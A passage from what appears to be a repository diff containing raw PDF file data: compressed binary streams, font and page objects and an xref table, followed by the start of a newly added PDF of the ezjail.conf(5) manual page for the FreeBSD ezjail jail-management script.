3501}:>t=: :wLԇ@ڛo;ߛw$5h(~Oq{|w
35024:G~K΂>..Zk9xWB~VCAqc7(^n( ؜b|T`oXJlkJkQZ ^ekflZo۬1t9ߞkHZ"ֿC5\sAD{+Ϥ,د23klUPP\s͵w3XQр\s- j>HF4B4F4!wp5ׂ͠ZlM ц|Kz"׈v8"}P%ⷈC=U!x'?#:"TGꤲ`ۈnl1Cwej&u'wvpMãm&{\I3u7Z!kz̝mP_9V17bc.X1R [Mc s-!?)rq@kUSqT%ZYJ1FƋ5$;NKd9o.wr/G̕g1an]c9O' q\j.e emYG-u^67l(&X/6(-Ȫl ۲+ q8g2NǍyqٸh\777ql2$iE$"Q1%FM̱b_oY{{=/gF:6?5-m89bkhgzJ|y cͬ~Esf$u'X_m3Sddo@';=\:OVLLEQo/#@@OyO" TTT!4SD
3503 ha4Hh2M4 8<=5hͥy4Ba -eJ_rZA+i5u6xjFDi mmvNEi}wta:BGtNi:Cg =]KtUFݤ[H?mP.R!"ED-Xq"'($
3504"(&xQBDi ʈDQVE *Je**|UI("’ұ.%Hg(-H)
3505H(b7";sv|sj;s:jD-F.nD=G4D#1) ͑hVh6h ] ݑLd!=\D/F ܂[1pn;1#1
3506wa48L$LƔ$%ܘK' I$5i4IQLcf`&fa6`.ISX.:2{ZUjZzg :x /cc^Nnb?^ÁpoQw.
350747?'gQ@19<{m d)fϲ,"^
3508"+2^nlJW['*Uy-c5^ޯkkSX1l&l46cs[[ F.®`&a.{{fc@qsoaRn72wrqQEF#ñg b'r's{k\>!>GL3N3389s9Or>Lp!"..2>繜+\õ\[/%m|;{r?_7xoQw.#~O)?</%5<ox;~#+O /x
3509(suJJWYSy] u.V]KUQt.RWjKUEרuU]5tjjRTW7꫁RXMTijJW T+VMjꠎꢮPQzzfS @iknѭaM ם4Zwkjk&j&k[?O=ѣ4] Ll\ӓ@O-ԳZZZkVjZkV^6j6kEM۵ChvihUk:M$-NEn(eGdHlܴld/Av´,˴Pl֓PӰufZ7;cfNaiQݽ%`4PFnr=2jv)T5[Ȱ٢EE[9f Vpf<1(*ͣ-:cc}ǺaauBaPϰJ<!+U/WQT׺\սUPcVcrJ\a8
3510dŐaxgt+X.vG9(Ay g l,Ks,(G+<`i!T1T`qA.˘@ÿ\cW(Q8ƨnr1jQ1n;7ʘv}8OĘ՞סFs4Rܴh2](g}Ve氝Mbcu,NiVf9-zdhjFZ0ze<ʪcײ/mrYʿ4
35115^|0|'Vq=j0f}mGCol0:a ƨud-IdcԢ,c{}^7i\9QvmG^n['1>o{AmEo=2~56u-Fl5k{dda?#x&"cʅ+DYᅰ!ֿ1 YqŚ»x|=.Ye=Y4Y|V
3512ks|e^Kb^lXBCǧ=o_cQVQsgG0p ߉-=M04O&Jm09\m)dmrYa{&xxqv};4ƣvhǻGã\{:hPS-2Ŀ>ccE t[۱Gʱx4z8fm2ݓ33ݖ[6\8;{$޼6$fCбERua
3513my?k;6RZ*C)v#;T' d,RGaYRpdwν;Y,G$ERH^oTgSBwG]r'5sudYTu4_·+#Z(Qs#s*+#e)CAeBɊ
3514:Srdy̤|CnT?F~$Zdf n"3#^~5LhF9]k<19rCPD KN?I_>Ɍ\#>^ralԸ2|
3515֓q]2|UcM9K&I&*|}/eƳQy /7ɱƼv?(Xi c3AXVʸY8WU4<Wqd,( lG~Y~p
3516{ 8t '<™x8Ig)h=S*UlK!RQH6 6A=
3517 +:y-7In
3518f+$ l6]ЂЅ ;!`p]v 7#<`}5ZQ u`"
3519 Cj:>m|ғà {.{r3v9V͢v]:4ॳbnglϖWU
3520 ͡ZJU"~|ciUs:S1Y+q^iW'ZG8394i ڋo;=^tg+w qY؟TIS#6^*Wo5ɇ4,H[vur|t"M ;S:<;6ov9ݝ X9茇ͦD>j=x`Ёoӥt&Wowt4e{z3|-g6=2k+yT&Z֟ 7 ll8&Za
3521"fAu"D~WU«YDpCkJR`[4&Q3=*3|K.e}hFthf.ӥٞ]w?寭cϤz]]tt1I;&itKd1|Ir#AwBljj Enf$TY⎄6R3]cZ4hCbaBC0>KxMzRpR]F&]v(ϤC-={ڵklnֵٹlZsz;?frv<vڝ1tGL#^G^9뢁NoT.jeq9/'Gkߏ]KG-yMvutja253BEImpfJَβ?HΤ#V.˿eiV)i\~`*-=5ɩ;V3t\;{JjYl jِܱPX>x6dhx5U?)n[>ӟhyU62/҈h_:75fWE C Zc;ZY:1Q'yʺ YZɒ%ْ%˖,꺒e,16Nxp!0IMLr))iI(I3yHдɃ:JhBbvI\fb5LxKڕVZ͞]wc$5qU@,FV!B+RCwghw
3522&] 2~ÙC}nj~wH}[h@eof˄clQ\]I4W_` D- q0L7M:E-
3523.gdMS('4i!SzC_)HZ +\Z1?%Dje`P4'S&5tJ"M`Nϧ 8e0zOo̲_V
3524LF"I"dֱWC_jj\EHxP0*uvbr㺝|f4?EЍWSLpTRV@ܯBïԀR! H:;l+n  ),;:1tO3*,#ܱ/d>
3525|/иrC⧮u`̇=q J/gvIc}R!kPI&Xs-rBbv>Ҩ-/ID@M򸄔 .TE,Dk-.q'qI-$%T"C0P(H0ȗI7tP-"*>o1lJ?\
3526w7OM!8yr`Փ!\'wO7S{9wϩO٩+SXcwsX`f>"UoʉȝfLvFtjrRMD"AOR*r qEK
3527e#Rpg>`鄴kc5\ߏ]$$?WmlSU~[nl]ۻvltmsaN7gI?, b!!# J(
3528HLI -=Ɨ11ys{ws>xam]߆094S.H; 8{ǰ1v{G7Vl/NN" #+HTLji5RMfDׇ8f^D$N"vUJouۏ=wjV^?s"Tg?:`5%OԻB!/yd)QM*7?Hbn|E5aE-FՠF-X "2%&pĎT"È{/G8Btr
3529=5J+xًHÑ-f~ ),]$ JwqtIq~\e~%hOH$Y?99ڸ1 cTRJ5!Ƽ*;{;+5wLSD7afJ9\ŬAe.e(] jU_^)_,3}e&N*@>(GB/* vpX12f4uZΆkU|ØI-~ l9 Rc{k鯩GGqW[. _ j6펦ZV`y..S f:gKc5Ocw()@~4)){^{5#wVE֫/srI ¹|RK.̙bR56T9%JW+bx >PA{cūR!%3adχųi:)
3530C7cq4҂:` Pb
3531q''$ 'h$U/S.wȝ,'-I(}JV(ᐯxc= Yh-;X)$?[sStX/ W]@`33jm;woIOv1o0swӊ6ʤ{UꐚQ, NjNk+X
3532V`O6i*î6甚7<Dֵmw@g׺ݰ'6=-@Paq 8 -PNx-Qxg`F\.R{w'~`[2TAy_^ 9Fy_I g<}_;SvwΑ[G6HC' F[~yL/Fpރ:&*jx ͠PZ_<甄Ṟ%(Jsцaq幉3O#
3533endstream
3534endobj
353541 0 obj
3536<<
3537/Type /FontDescriptor
3538/Ascent 750
3539/CapHeight 662
3540/Descent -250
3541/Flags 34
3542/FontBBox [-168 -218 1000 898]
3543/FontName /Times-Roman
3544/ItalicAngle 0
3545/StemV 84
3546/XHeight 450
3547/StemH 84
3548>>
3549endobj
355042 0 obj
3551<<
3552/Type /FontDescriptor
3553/Ascent 753
3554/CapHeight 562
3555/Descent -246
3556/Flags 99
3557/FontBBox [-28 -250 742 805]
3558/FontName /Courier-Oblique
3559/ItalicAngle -15
3560/StemV 51
3561/XHeight 426
3562/StemH 51
3563>>
3564endobj
356543 0 obj
3566<<
3567/Type /FontDescriptor
3568/Ascent 750
3569/CapHeight 662
3570/Descent -250
3571/Flags 34
3572/FontBBox [-168 -218 1000 898]
3573/FontName /Times-Roman
3574/ItalicAngle 0
3575/StemV 84
3576/XHeight 450
3577/StemH 84
3578>>
3579endobj
358044 0 obj
3581<<
3582/Type /FontDescriptor
3583/Ascent 753
3584/CapHeight 562
3585/Descent -246
3586/Flags 35
3587/FontBBox [-28 -250 628 805]
3588/FontName /Courier
3589/ItalicAngle 0
3590/StemV 51
3591/XHeight 426
3592/StemH 51
3593>>
3594endobj
359545 0 obj
3596<<
3597/Type /FontDescriptor
3598/Ascent 750
3599/CapHeight 653
3600/Descent -250
3601/Flags 98
3602/FontBBox [-169 -217 1010 883]
3603/FontName /Times-Italic
3604/ItalicAngle -15
3605/StemV 76
3606/XHeight 441
3607/StemH 76
3608>>
3609endobj
361046 0 obj
3611<<
3612/Type /FontDescriptor
3613/Ascent 701
3614/CapHeight 0
3615/Descent -298
3616/Flags 4
3617/FontBBox [-167 -299 1094 827]
3618/FontName /JFOEFL+Symbol
3619/ItalicAngle 0
3620/StemV 0
3621/FontFile2 47 0 R
3622>>
3623endobj
362447 0 obj
3625<<
3626/Filter /FlateDecode
3627/Length 18148
3628/Length1 37096
3629>>
3630stream
3631HW}tovgvfwvx$T1V`
3632%H1
3633 (_R`zgvvSo;o~w}of
3634 ax ?&|4y㱨Fl,JjNu Jܐ&5`}["*҄ #j8R^:`Mk-.f PDr(Gd
3635<RF>z=
3636@yb Q(e23`<; . K9c+BҍtXf<x`AOw%b8B^rnT?F9.>{&[ft9p/7?$1EioBm0R,9"ZPVC1zqK1WgA RVû "rCaus7W
3637+y9
3638}v| bJIfŰ]af!'^bnK :sic/&ibqVVn,<Hz<pD%qOV,0FܴNd0_WbzոGʃ}8Kg-0`,9Ϧs2`(~> #c9g tN
3639.|M4)WSW&1qU&3&֘ϘZfFnb0q4gMls&n>Ss"QY ƼPL҅1Iip׼!Y+Op~%ʡXJ'KACzU{F$}ET5IQ~6CE A6GTJ_"J,{mԋ^Iv>S49AwªpDYR|GS5s>y죯1|A^$)4rH#n⩢Ș[n { qyRzP 3EØ _lJ{LըJ>WV
3640MW{i0Gv@C'B0Q/Tkwԯx0h̃!1ebPgo(ޞ#v=Io*S2Uɨxө29j8(ge\%u߶ }1M+)Gm1.5xwSC0dj}E_,L_/')LɆ' iSKhv F,b:
3641)=~(DcAt3}Z_B4ϠE?O<9ߌTKϤ4Q&h:Ii}<ڿmK,I~l71rŞմL㟤evM4|5FjO3wg0isn7i}03:=Z&6eV
3642 PH!kB ضK#_proc,fq7f q~pqmnnrYbX_̪sAlp}9RϨ# $pdz~YPknx{Ul` {^oO>Yx,m-+^r:@{(gKMC
3643چtU..~vʿYUQ4}T}|.]0Z֢_:M#Z݈9'I}#Ww]iy+-ٓf|G]$Yk}+GEyHt>g~4χU`n3
3644q6=ߎUEgtha%X# T = DFĂ )> Z#v@FOܸ; )]# Pa?Nhey܌tɡ3TIgcnuɰz@L4Ʀ#=yr{ /v 6gs ,(֮ !#}Zy[QՑ`M}OŊJeǫl%lȘI ~M:xmd[3d*duWfPJ(Ƌ(&_}HD|x6L_+Vi=B=Jb[+h4םk) eeeP5gf'm(?9zp§Hi\iy͟eOβ*bn*:Rd[]r }J
3645]6"`;$lZv##Щ1YJ+h y SᾚPoTB[r.)!Ui}m[GǛmBWZDr{ـbHW}H,9k:]_HNNlcs gv9lR $NKxZ"NPC\}(Z+ 2"6ZY,wDck;(]\ի1d |x&3'|ɤ\adt
3646fkM1vՏ}[d؟lGA]kGz6
3647a;e12.9w6ksFD
3648q#v )c[:,U$# S@ #֘ɳiCld5bu3Nj02vrmua;I``"L)0y= y$,% kVZ!ڠ^xރ+3p.%7ĉ|L!/ sRC!ȯJBJv^9@BQ9Ey%LC 5Q+u<c!r:ΧOџ**h#}7黴~LO?i? fdY;&l"JLgOl{amv}NS,.KlSn#OC^Oe9"f{;
3649x@ FC! M)]߇;H3 &*$FΩG^?3EȤCL4 !hV,5L2`)C}m:*$sʢ]5K&z3i~03NF?rJ%hh&ÌQ$)nJ1!XYPEk;l= є;PnGv jѢh-Z X89f h67j46LІ6K`yX%qYRPG{n_ex]AMQ'j#YcwZõEjŪV OZ Ow=LKP)ji7Z`ڭ-BssK-$IY4LM ]i>s2Urk)-)ɺ{8ҁ{_Abc4-ْKj;x7\]MOA|8J tw'ZStm'>:D?lMx< uT=ιܽATۥq$wT6^juxEk
3650oa1Uz:2m
3651@M=a[i)7ݶtR Qa+6Wt]Zb`ɧ7.,Z.]w*`CCW"E ->q  QQW}3z΂%muaQCф7x2e~3jNE2<?'|
36528Fl cZ+\YiŬlѣxw
3653
3654m$nMKZLK{]M1ju97W_춁^C|#ZUrJ`=!򪲴ѓ6B/Zbuht׎xgMM =C-T\0xs^c qi,oWx.ΡM"MaqY
3655]Z.UlݦF8ZJeyJ-KeuZv@uň%<R]bZJWVO[[9;sbxdx2 ^F(sW6sH0asr:2(iY|/\i) Qғ =77l0e8ʐd ^RJNnI ET/[KKLK(2/ɾ ͓֘pəG&~ =A\NbD vAÊE Y
3656o';P_y09K/s^-˲kyڴދaa{ &$w^ kYIڲǺ(ML2`>+ol4-¢cMH˽/ueAФ^"+G9UZ;߰fAimcRtk,yݔZz?HDabΰj^g+wZt-<{ϵ
3657{ZI,EK,ʻD;TjNqXÁ.o?F
3658DUtlx5^e a(:x <_/Wq*KD &Z mI $ȫw$E o_;=eX*f i`<„f3旌μμd12X-e%&v+ngw`ìϱ?e_`OeE{6u{k'm kǁB%%#иcRjk@I\
3659o%NJ`
3660t;=q^idۥkvo^2=zu|]ԝ@i:ͨcо-
3661>?}Yk=Y/aKg+Mvy{W<h@ m}Gd5ow!L~}d⡉}.F'+^_U9c.dpmF<:ELBrJ.s"FEkGkrn]wqg/ ^"Neվ.H$R_ΜXdm#kӻx]q8:\aK$]Hz'=i[<Hgk8:YfɓHg3s;divp
3662$_X^ɻ}S| _٥7[.Ng5"ƩWð!iW< vqS@XgºX;ujCvR aW'1_0b<92cF~~MFm]%G&\i^Jw'Y5EA͞gFcKrX78_G fO^O{c:7qvRŌM}2D1.fWXňd|@c[Fw{bӨ77Ȗ Vr#in3Sqbo,qH_LI$ z1$~wZv5; nm8" $0pxBrD\Ѡ>q TH^!09$ȅ*BU
3663ߏMq-zC!,>W` lĮX!ӑ, ` Iš #K0^<U)d5 N+FqLTEɧ(pb Z:6yy]0W'6CY@\eҿܐTp4oyڪw'E9/<-7A#>u7;(;֝ٴn;;:s=@z2>96響X2}l45a
3664q8YsC<{nڎ[uCi*419cCU@0|[ +Ύo>d
36658P%$uw~3k>
3666M*Of l $v&Y'4L\)M4~_Ztbw^~{Y'ڞY H#>7u1#'gNs'x SR9RP SaPz l`܃zꇰX+PO=a#B>8TG\Eu
3667;>88+H6U$UETV3m&ۨ%'YLz!I 6*.M'ȯQa&/%ȟ[mr\$ F3kQ_Aoߠ&E+\ZGߣ " ]EFJSoic-%dQk]nd3PmY-Ͼ2VUck:T^-l چXX7;Z%2WeJ*u|*%EP=5=JQRwc$T6+g٦6QǹWmpuP$*7w<{UB/x|^Kϯ6ˆep)`Tna nTHIQL{hWTuGy$7\ bqIPi2wM<HbDI=QK]w@@v9LtEėXUM7'H 7 6 FN+âF84$q_WF[}XaQ,4|vd-gwF>BS5b'Y4/Yb{e=')嗼Hܟipx>f2X0.yx4 S >\(v*IpdZ$х{)ۙrrBF;o{,HgQ_sW+ddn ,qf'G̀H#wqDjh z'? ІYxf 5EY.: `^y,'Y(g!b2
3668@9%SY[`BEK
3669<g@f$'`,& >Rö$ I7,E;tIquPAf;px_2O%:-JKhn>-䞌,hʣ(`ؒ%˲꫚Q, >ͨ>B)H >uzxe"AՒ3n6/i fqYYĞZ*[FMV9gp.5EX"y<-Oc1BOȚ{e3a jgl6@Xl4rK\ƢFsnn/Q*x#  T2T4#GEP \OӛƗzsuÈ*66AdT]Hֵ`-7YAHQ,$p^\@"0ĜM?Qv&2q= "Xpd1'Г[c\ESyɫ`pvo7kREmb Qc,bMbgoYp#ɂ^UԕE., u碚\r U]]qD5ܛ*إ@rzS mteb jCSZ7V541 Λ*鸖lA+,3+\^,B>HpeapENbџ, Iz dO [E~q
3670JW(45-Rst (N&pCL7fw"I:ofE
3671?bۣ,<e$I[8 s^rU W2`DJHK,Wm/?yHl@)OY=Bօ%,DYh1㺠Ǣguc
3672Mh{]Lv|ۢ eAhm 0b>E׫Ex8O-<zG C+XŔTO,êeDd22,4`GWp
3673o95"
3674Gr̽fXP4iS~JG@U 59/( ܏ŃPq X:ZdB?ݓQx@įwPY|lk-G-lfͧEDE8;t+!:V6BDEjn}&Gt /ئbg)iE ސ ĥh:Ng u8k\XKv7 MHݨޔO3|ypb;0O$Ev}@KT\
3675Z@}
3676Rup+G t6m4L>t-EJ[{D}:J/9:c MY,ltM}֎qЀ0/0 ~wm)s'X[4q]q/Gߴinrt\kZ( ﴠvF]> c
3677kg;x =BHp('#ȏ 9Y$/WkdOni6 k_kҾў+E]ִNSt_18}EZ?j?vE1-(4h[\X$Τ-5.PXGmTL1vnCצhϨUc~MNJ>L5Θs߽}޻f&kgs27`A=Hȓ<c$ɽ|9oNgW2%EJ%MIOIå1R4EJMM҇atUYNl)O_+ry&D)+yd%e2GYRVWcZG9V>UN+_*T.(*SUըԾ_x) uf<"=~<*1AdfC{TT@%
3678KpWBzH0#@$D`@D#h[ †cQWb?@E@б‰tl,uC"F %|#j22HDhk?)Q p};{^4NB?fQ[( R$F>#q\q\#aB@ cPЇwW-L #SDuz$!,x+x ν%PTyzxL;$=Y ߃EO5elެdQUw&HwRb~NIt֮;xgzXq/,}mlSU u֛Q.`TLΫeyY*ɵ3b:Ps-ӆʋ=?:[2OL,SؒҐo<HU޸l;P{ ʢӎ<??>*/|G+/9aR33 Ys&6.=9zDl\ +˯߬]_dX6:=gu] 3J*Ӗ7*EGcS1om'/t
3679TgurfN?{={mguEjW7Xv`,K[/J Η啿=!6>lW%=1?]*- Ջ7~᭜y~g~u=,sr%Kˆ䜫$ȼEmsԙ j}ې4/usUg#] uʞ;c1?L$RRe9cqф,57 6[ѷEݺ/lz_?qk0ôz8i3j^ٗWѧwN3<ڋ/';fs/SI/bL}kہU]9W}= `='(~'fVݚ<mIؓ\wXi Is sMi=F8%DGo^.xHPO `|?C᧐# @f\9x/@9^UPK0Z Mh?@`aCp3Sp*tMOXҗ$Db%$ !Hq< G&L%eLfJm5d#i$!+H3YMb&1N$_`fx\&H*I4>b
3680Mt(͢Obt*Fg`XAaYKХt]6C_"BhA;i0 giFևc,YX"@8 z@E`Tȓ( -ŨĘ^JPTcdݦRLuT1J2W~APݶ-<!FQ@17~I1*p%zn#C˺k"0."FaaIW
3681UĥUKrUzH{B%Y#Jc_)+lӌ~j\.%֣Nd./R?~nM:}/4(K %-qq f:F@v%d;@5p<_3lr1UNwI 6lhH`-ܦ@$|y6B6Ńӯ()wMDze񷫥nP%ps#By\G@Na
3682sސ[J΄lpLD f-6 u OB Q Q3Q PGLXZK\bBkv +a d;of8o*G{y=DGV(C E h?겎|n.cnsle-
3683Rm6'M5/m9*0j[w$2=A}`y1H/t8/ dK߇Yʁ+>V|G9RrfzHYê.Bb8+?K)}S/(v3]u4ga Oe쟁gqF,4V>|g$A>
3684/koVSN ̬WʺpiEe%E E0P4m9س(`qMR>Wb^MS>%'=%YrOxX1jj(Qթj5jx/xKrle٧,,BU&CjGdM2,,{nX^VwLxj\|S\-b'’3%[8]|]݆~{Fۯ_{eύoV\,qQ :D+q܈k1\>;a/GpW`n0"?'w!k=Ԋ) o&v~|mC =q
3685endstream
3686endobj
36874 0 obj
3688<<
3689/Type /Font
3690/Subtype /TrueType
3691/FirstChar 32
3692/LastChar 146
3693/Widths [250 0 0 0 0 0 833 0 0 0 0 0 0 333 0 0
36940 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
36950 722 667 722 722 667 611 0 778 389 500 0 667 944 722 778
3696611 0 722 556 667 722 722 1000 722 722 667 0 0 0 0 0
36970 500 0 444 556 444 333 500 556 278 333 556 278 833 556 500
3698556 0 444 389 333 556 500 0 500 500 444 0 0 0 0 0
36990 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
37000 0 333 ]
3701/Encoding /WinAnsiEncoding
3702/BaseFont /Times-Bold
3703/FontDescriptor 38 0 R
3704>>
3705endobj
370618 0 obj
3707<<
3708/Type /Font
3709/Subtype /Type0
3710/BaseFont /JFOEBE+Courier-Bold
3711/Encoding /Identity-H
3712/DescendantFonts [ 48 0 R ]
3713/ToUnicode 49 0 R
3714>>
3715endobj
371648 0 obj
3717<<
3718/Type /Font
3719/Subtype /CIDFontType2
3720/BaseFont /JFOEBE+Courier-Bold
3721/FontDescriptor 36 0 R
3722/CIDSystemInfo<<
3723/Registry (Adobe)
3724/Ordering (Identity)
3725/Supplement 0
3726>>
3727/DW 1000
3728/W [
3729233 [600]
3730]
3731>>
3732endobj
37335 0 obj
3734<<
3735/Type /Font
3736/Subtype /TrueType
3737/FirstChar 32
3738/LastChar 122
3739/Widths [600 0 0 0 0 0 0 0 0 0 0 0 600 600 0 0
37400 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
37410 0 0 600 0 0 0 0 0 0 0 0 0 0 0 0
3742600 0 0 0 0 600 0 0 0 0 0 0 0 0 0 0
37430 600 600 600 600 600 600 600 600 600 600 0 600 600 600 600
3744600 0 600 600 600 600 0 0 600 600 600 ]
3745/Encoding /WinAnsiEncoding
3746/BaseFont /JFOEBL+Courier-Bold
3747/FontDescriptor 39 0 R
3748>>
3749endobj
37506 0 obj
3751<<
3752/Type /Font
3753/Subtype /TrueType
3754/FirstChar 32
3755/LastChar 151
3756/Widths [250 0 0 0 0 0 0 0 333 333 0 0 250 333 250 278
3757500 500 500 500 500 500 500 500 500 500 278 278 0 0 0 0
3758921 722 667 667 722 611 556 0 0 333 389 0 611 889 722 722
3759556 722 667 556 611 722 722 944 0 722 611 0 0 0 0 500
37600 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500
3761500 500 333 389 278 500 500 722 500 500 444 0 0 0 0 0
37620 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
37630 0 333 444 444 0 0 1000 ]
3764/Encoding /WinAnsiEncoding
3765/BaseFont /Times-Roman
3766/FontDescriptor 41 0 R
3767>>
3768endobj
37697 0 obj
3770<<
3771/Type /Font
3772/Subtype /TrueType
3773/FirstChar 32
3774/LastChar 124
3775/Widths [600 0 0 0 0 0 0 0 0 0 0 0 600 600 600 0
3776600 600 600 600 600 600 600 0 600 600 600 0 0 0 0 0
37770 600 0 0 0 600 0 600 0 600 600 0 600 600 600 0
37780 0 600 600 0 0 0 0 0 0 0 0 600 0 0 0
37790 600 600 600 600 600 600 600 600 600 600 0 600 600 600 600
3780600 0 600 600 600 600 600 600 600 0 600 0 600 ]
3781/Encoding /WinAnsiEncoding
3782/BaseFont /Courier-Oblique
3783/FontDescriptor 42 0 R
3784>>
3785endobj
37868 0 obj
3787<<
3788/Type /Font
3789/Subtype /TrueType
3790/FirstChar 222
3791/LastChar 223
3792/Widths [556 556 ]
3793/Encoding /MacRomanEncoding
3794/BaseFont /Times-Roman
3795/FontDescriptor 43 0 R
3796>>
3797endobj
37989 0 obj
3799<<
3800/Type /Font
3801/Subtype /TrueType
3802/FirstChar 32
3803/LastChar 122
3804/Widths [600 600 0 0 600 0 0 0 0 0 0 0 0 600 600 600
3805600 600 600 600 600 0 600 0 600 600 600 0 0 0 0 0
3806600 600 600 0 600 600 600 0 0 600 600 0 600 600 600 600
3807600 0 600 600 0 600 0 0 600 600 600 0 0 0 0 600
38080 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600
3809600 600 600 600 600 600 600 600 600 600 600 ]
3810/Encoding /WinAnsiEncoding
3811/BaseFont /Courier
3812/FontDescriptor 44 0 R
3813>>
3814endobj
381525 0 obj
3816<<
3817/Type /Font
3818/Subtype /TrueType
3819/FirstChar 110
3820/LastChar 117
3821/Widths [500 500 0 0 389 0 0 500 ]
3822/Encoding /WinAnsiEncoding
3823/BaseFont /Times-Italic
3824/FontDescriptor 45 0 R
3825>>
3826endobj
382726 0 obj
3828<<
3829/Type /Font
3830/Subtype /Type0
3831/BaseFont /JFOEFL+Symbol
3832/Encoding /Identity-H
3833/DescendantFonts [ 50 0 R ]
3834/ToUnicode 51 0 R
3835>>
3836endobj
383750 0 obj
3838<<
3839/Type /Font
3840/Subtype /CIDFontType2
3841/BaseFont /JFOEFL+Symbol
3842/FontDescriptor 46 0 R
3843/CIDSystemInfo<<
3844/Registry (Adobe)
3845/Ordering (Identity)
3846/Supplement 0
3847>>
3848/DW 1000
3849/W [
3850155 [500 329 ]
3851157 [329]
3852]
3853>>
3854endobj
385549 0 obj
3856<<
3857/Filter /FlateDecode
3858/Length 216
3859>>
3860stream
3861HTPN0 A i Rnp=%u"7$Q{ly12.~ep
38623qJ6 ߖsG# < S-)!/+!H*h[8
3863yp3,?p*}k{KYӄTGA6oVVH;y2'b$[pZ+
3864endstream
3865endobj
386651 0 obj
3867<<
3868/Filter /FlateDecode
3869/Length 235
3870>>
3871stream
3872HT?o w>ō:`HU$ )J"o_n~x~ i 3FpJS<hn9X~b#@+<myz, Y7D$>,pD
3873endstream
3874endobj
38751 0 obj
3876<<
3877/Type /Page
3878/Parent 11 0 R
3879/Resources 3 0 R
3880/Contents 2 0 R
3881>>
3882endobj
388312 0 obj
3884<<
3885/Type /Page
3886/Parent 11 0 R
3887/Resources 14 0 R
3888/Contents 13 0 R
3889>>
3890endobj
389115 0 obj
3892<<
3893/Type /Page
3894/Parent 11 0 R
3895/Resources 17 0 R
3896/Contents 16 0 R
3897>>
3898endobj
389919 0 obj
3900<<
3901/Type /Page
3902/Parent 11 0 R
3903/Resources 21 0 R
3904/Contents 20 0 R
3905>>
3906endobj
390722 0 obj
3908<<
3909/Type /Page
3910/Parent 11 0 R
3911/Resources 24 0 R
3912/Contents 23 0 R
3913>>
3914endobj
391527 0 obj
3916<<
3917/Type /Page
3918/Parent 11 0 R
3919/Resources 29 0 R
3920/Contents 28 0 R
3921>>
3922endobj
392330 0 obj
3924<<
3925/Type /Page
3926/Parent 11 0 R
3927/Resources 32 0 R
3928/Contents 31 0 R
3929>>
3930endobj
393133 0 obj
3932<<
3933/Type /Page
3934/Parent 11 0 R
3935/Resources 35 0 R
3936/Contents 34 0 R
3937>>
3938endobj
393952 0 obj
3940<<
3941/S /D
3942>>
3943endobj
394453 0 obj
3945<<
3946/Nums [0 52 0 R ]
3947>>
3948endobj
394911 0 obj
3950<<
3951/Type /Pages
3952/Kids [1 0 R 12 0 R 15 0 R 19 0 R 22 0 R 27 0 R 30 0 R 33 0 R]
3953/Count 8
3954/MediaBox [0 0 612 792]
3955>>
3956endobj
395754 0 obj
3958<<
3959/CreationDate (D:20130420011643+02'00')
3960/ModDate (D:20130420011643+02'00')
3961/Producer (Apple pstopdf)
3962>>
3963endobj
396455 0 obj
3965<<
3966/Type /Catalog
3967/Pages 11 0 R
3968/PageLabels 53 0 R
3969>>
3970endobj
3971xref
39720 56
39730000000000 65535 f
39740000132354 00000 n
39750000000016 00000 n
39760000007298 00000 n
39770000128271 00000 n
39780000129131 00000 n
39790000129546 00000 n
39800000130104 00000 n
39810000130561 00000 n
39820000130735 00000 n
39830000055106 00000 n
39840000133091 00000 n
39850000132435 00000 n
39860000007450 00000 n
39870000015596 00000 n
39880000132519 00000 n
39890000015738 00000 n
39900000022010 00000 n
39910000128772 00000 n
39920000132603 00000 n
39930000022164 00000 n
39940000031587 00000 n
39950000132687 00000 n
39960000031741 00000 n
39970000039544 00000 n
39980000131204 00000 n
39990000131395 00000 n
40000000132771 00000 n
40010000039735 00000 n
40020000044357 00000 n
40030000132855 00000 n
40040000044524 00000 n
40050000052917 00000 n
40060000132939 00000 n
40070000053082 00000 n
40080000054973 00000 n
40090000055247 00000 n
40100000055474 00000 n
40110000079620 00000 n
40120000079822 00000 n
40130000080049 00000 n
40140000108857 00000 n
40150000109054 00000 n
40160000109255 00000 n
40170000109452 00000 n
40180000109643 00000 n
40190000109843 00000 n
40200000110033 00000 n
40210000128921 00000 n
40220000131757 00000 n
40230000131538 00000 n
40240000132046 00000 n
40250000133023 00000 n
40260000133051 00000 n
40270000133222 00000 n
40280000133345 00000 n
4029trailer
4030<<
4031/Size 56
4032/Root 55 0 R
4033/Info 54 0 R
4034/ID [<06e7ee2eed84275abb84850071bfd8d6><06e7ee2eed84275abb84850071bfd8d6>]
4035>>
4036startxref
4037133415
4038%%EOF
diff --git a/files/arts/software/ezjail/ezjail.conf.5.pdf b/files/arts/software/ezjail/ezjail.conf.5.pdf
new file mode 100644
index 0000000..a68e4ff
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail.conf.5.pdf
@@ -0,0 +1,1605 @@
1%PDF-1.3
2%
32 0 obj
4<<
5/Length 5435
6>>
7stream
8BT
9/TT2 1 Tf
1010 0 0 10 72 756 Tm
110 g
12/GS1 gs
130 Tc
140 Tw
15[(N)20(AME)]TJ
16/TT4 1 Tf
173 -1.2 TD
18(ezjail.conf)Tj
19/TT6 1 Tf
206.8511 0 TD
21[()-250(con)]TJ
22/TT7 1 Tf
232.6938 0 TD
24()Tj
25/TT6 1 Tf
260.5562 0 TD
27(guration )Tj
28/TT7 1 Tf
293.5825 0 TD
30()Tj
31/TT6 1 Tf
320.5562 0 TD
33(le for ezjail script)Tj
34/TT2 1 Tf
35-17.2397 -2.4 TD
36(DESCRIPTION)Tj
37/TT6 1 Tf
383 -1.2 TD
39(The )Tj
40/TT7 1 Tf
411.8475 0 TD
42()Tj
43/TT6 1 Tf
440.5562 0 TD
45(le)Tj
46/TT4 1 Tf
471.0145 0 TD
48(ezjail.conf)Tj
49/TT6 1 Tf
506.8939 0 TD
510.0428 Tw
52(contains settings that control the operation of the ezjail)Tj
53/TT4 1 Tf
5422.5731 0 TD
550 Tw
56(rc)Tj
57/TT6 1 Tf
581.2002 0 TD
590.0427 Tw
60(\(8\) script. It is also read)Tj
61-34.0853 -1.2 TD
620.0287 Tw
63(by the)Tj
64/TT9 1 Tf
652.7791 0 TD
660 Tw
67(ezjail-admin)Tj
68/TT6 1 Tf
697.4799 0 TD
700.0287 Tw
71(utility to )Tj
72/TT7 1 Tf
733.7244 0 TD
740 Tw
75()Tj
76/TT6 1 Tf
770.5562 0 TD
780.0287 Tw
